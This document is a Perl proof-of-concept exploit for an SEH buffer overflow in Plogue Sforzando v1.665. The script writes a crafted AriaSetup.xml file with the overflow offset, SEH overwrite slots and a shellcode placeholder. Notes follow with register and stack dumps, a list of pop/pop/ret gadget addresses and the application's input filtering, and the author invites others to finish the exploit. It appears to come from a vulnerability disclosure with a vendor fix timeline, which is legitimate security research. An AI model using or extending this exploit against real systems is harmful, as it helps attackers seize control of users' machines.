1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 |
#!/usr/bin/perl ########################################################################################## # Exploit Title: Plogue Sforzando v1.665 Buffer Overflow POC # Date Discovered: 10-29-2013 # Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift # Vulnerable Software: Sforzando v1.665 # Software Link: http://www.softpedia.com/dyn-postdownload.php?p=227357&t=0&i=1 # Vendor site: http://www.plogue.com/downloads/ # Version: 1.665 # Tested On: Windows XP SP3 ########################################################################################## # Timeline # - 10-29: Vuln discovered, vendor contacted # - 10-30: Vendor acknowleged receipt of bug report # - 10-31: Vendor applied fix to software installers ########################################################################################## # At first glance this seems to be a straightforward SEH BOF however it's not the case # largely due to the way the application treats non-ASCII input (see notes after POC code) # Refer to the notes at the end of POC code for more details ########################################################################################## # The application loads the AriaSetup.xml file at launch and reads the product value # By changing these values we can generate a BOF as follows my $buffsize = 15000; # sets buffer size for consistent sized payload # build the start of the xml file my $header = '<?xml version="1.0" ?><Key>key</Key><AriaSetup version="1665">'; $header = $header . '<Property name="vendor" value="Plogue Art et Technologie, Inc"/>'; $header = $header . '<Property name="product" value="'; my $junk = "\x41" x 392; # 392 is the offset of next seh followed by 4920 bytes of controllable data my $nseh = "\x42\x42\x42\x42"; # overwrite next seh my $seh= "\x43\x43\x43\x43"; # overwrite seh (and EIP, offset 396) my $shell = "\x45" x 5000; # placeholder for shell code; also accessible via ESP+2500 (length 4916) my $sploit = $junk.$nseh.$seh.$nops.$shell; # assemble exploit portion of buffer my $fill = "\x46" x ($buffsize - (length($header)+length($sploit))); # fill remainder of buffer my $buffer = $header.$sploit.$fill; # construct the final buffer # write the exploit buffer to file my $file = "AriaSetup.xml"; open(FILE, ">$file"); print FILE $buffer; close(FILE); print "Exploit file created [" . $file . "]\n"; print "Buffer size: " . length($buffer) . "\n"; ############################################# #------------------- NOTES------------------# ############################################# # after the above POC, seh chain looks like this: # AddressSE handler # 0012E31C ntdll.7C9032BC # 0012ECC4 43434343 # 42424242 *** CORRUPT ENTRY *** # And the stack... # ... # 0012ECB0 41414141AAAA # 0012ECB4 41414141AAAA # 0012ECB8 41414141AAAA # 0012ECBC 41414141AAAA # 0012ECC0 41414141AAAA # 0012ECC4 42424242BBBBPointer to next SEH record # 0012ECC8 43434343CCCCSE handler # 0012ECCC 44444444DDDD # 0012ECD0 44444444DDDD # 0012ECD4 44444444DDDD # 0012ECE0 44444444DDDD # 0012ECE4 44444444DDDD # ... # And the registers... # EAX 00000000 # ECX 43434343 # EDX 7C9032BC ntdll.7C9032BC # EBX 00000000 # ESP 0012E308 # EBP 0012E328 # ESI 00000000 # EDI 00000000 # EIP 43434343 # So, next SEH is overwritten at offset 392, SEH (and EIP) at 396 # and there is plenty of room directly following for shellcode # The problem that we have for an SEH BOF are the available pop/pop/ret and the input sanitization performed by the application # Here are the 14 available pop/pop/ret found by mona (using -all switch) # 0x72d11f39 : pop edi pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d1170b : pop esi pop ebx ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d1204e : pop esi pop ebx ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d115b8 : pop ebx pop ebp ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d1263d : pop edi pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d1269c : pop edi pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x00280b0b : call dword ptr ss:[ebp+30] | startnull,ascii {PAGE_READONLY} # 0x72d119de : pop esi pop ebp ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d11225 : pop edi pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d1283f : pop eax pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d12899 : pop eax pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d128f3 : pop eax pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d12956 : pop eax pop esi ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d12ebe : pop ebx pop ebp ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # 0x72d12f35 : pop ebx pop ebp ret | ASLR: False, Rebase: False, SafeSEH: False, OS: True (C:\WINDOWS\system32\msacm32.drv) # The application only accepts certain characters as input, limited primarily to the ASCII character set, with some exceptions: # # All ASCII characters \x0a through \x7f appear to be accepted as-is except as follows: # - \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x26 -- these are stripped entirely # - \x22 appears to be processed as a double quote and terminates the remainder of the xml string input # - \x0a is replaced with \x0d # Anything outside of the ASCII range appears to be stripped (or sometimes replaced) # This poses a problem when trying to find a usable address for our overwrites # For example, given the pop/pop/ret addresses found, we would need to include \xd1 # If we try to overwrite SEH with the the address 0x72d11225 (\x25\x12\xd1\x72) we get this: # 0012ECBC 41414141AAAA # 0012ECC0 41414141AAAA # 0012ECC4 42424242BBBBPointer to next SEH record # 0012ECC8 44721225%%%DSE handler # 0012ECCC 44444444DDDD # 0012ECD0 44444444DDDD # Notice how \xd1 is stripped (and our trailing input shifted). # Through a bit of basic trial and error I noticed that you can # force the application to retain input chars by appending other chars to it. # For example to maintain \xd1 we can append \xa9 to it # An SEH overwrite of \x25\x12\xd1\xa9\x72 would result in: # 0012ECBC 41414141AAAA # 0012ECC0 41414141AAAA # 0012ECC4 42424242BBBBPointer to next SEH record # 0012ECC8 A9D11225%%%%SE handler # 0012ECCC 44444472rDDD # 0012ECD0 44444444DDDD # This time \xd1 is maintained but unfortunately, the app also maintains the appended \xa9 byte # which makes this approach innefective for addressing (but possibly useful for shellcode) # I didn't have the time to investigate this any further but I figured I'd post this POC # in case someone else wants to give it a go |